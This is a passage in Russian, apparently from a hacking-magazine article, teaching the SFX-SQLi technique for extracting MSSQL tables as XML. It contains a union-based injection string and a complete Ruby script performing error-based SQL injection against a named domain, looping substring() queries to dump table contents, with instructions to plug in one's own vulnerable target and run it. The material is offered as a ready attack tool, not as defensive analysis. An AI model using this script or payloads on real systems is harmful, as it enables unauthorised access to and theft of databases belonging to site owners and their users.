Можно воспользоваться уже привычными
инструментами вроде SIPT или Pangolin. А можно использовать
технику SFX-SQLi. Именно на ней остановлюсь чуть подробнее.
В
MSSQL 2000 c помощью оператора FOR XML можно получать результаты
запроса в виде XML.
SELECT * FROM information_schema.tables FOR XML RAW;
Что вернет содержимое таблицы в виде XML. Однако в MSSQL 2000
выражение FOR XML не может быть использовано в подзапросе,
поэтому дампить данные с помощью FOR XML можно, начиная с 2005
версии MSSQL-сервера.
1. Когда есть обычный вывод с помощью union (news.asp?id=1
), воспользуйся утилитой от
union select top 1 null,null,null,table_name from
information_schema.tables--
Daniel Kachakil. Скачать ее можно тут:
http://www.kachakil.com/papers/SFX-SQLi-en.htm.
2. Комбинируя метод SFX-SQLi с функцией substring(), можно
дампить данные и через вывод в ошибке(error-based SQLi).
Специально для этого я написал скрипт на Руби:
#! /usr/bin/ruby
#настройки тут
site="kbaptupa.ru"# доменное имя
path="/dir/linkdetail.aspx"# путь до уязвимого скрипта
inject="id=1+and+1="#уязвимый параметр
table="information_schema.columns" #название таблицы, которую
дампить
#дальше ничего не меняем
require 'net/http'
require 'cgi'
outputlength =0
http = Net::HTTP.new(site, 80)
pagepath = "#{path}?#{inject}'#{'a'*4000}'"
resp, data = http.get(pagepath, nil)
outputlength = data.scan(%r{Conversion failed when converting
the varchar value '(.*?)\.\.\.}im)[0].to_s.length - 20
startindex =0
print "<#{table}>"
while true do
request =
"#{path}?#{inject}substring((select+*+from+#{table}+FOR+XML+RAW),#{startindex},#{outputlength})--"
resp, data = http.get(request, nil)
match= data.scan(/Conversion failed when converting the nvarchar
value '([\w\W]*?)' to data type int/im)
break if match[0].to_s.length<outputlength or !match.any?
print CGI.unescapeHTML(match[0].to_s)
startindex+=outputlength
end
print "</#{table}>"
Отредактируй скрипт (внеси данные своей SQLi), а потом
запусти его так:
$ ruby sfxsqli.rb > dump.xml
В файле dump.xml ты получишь данные таблицы в xml.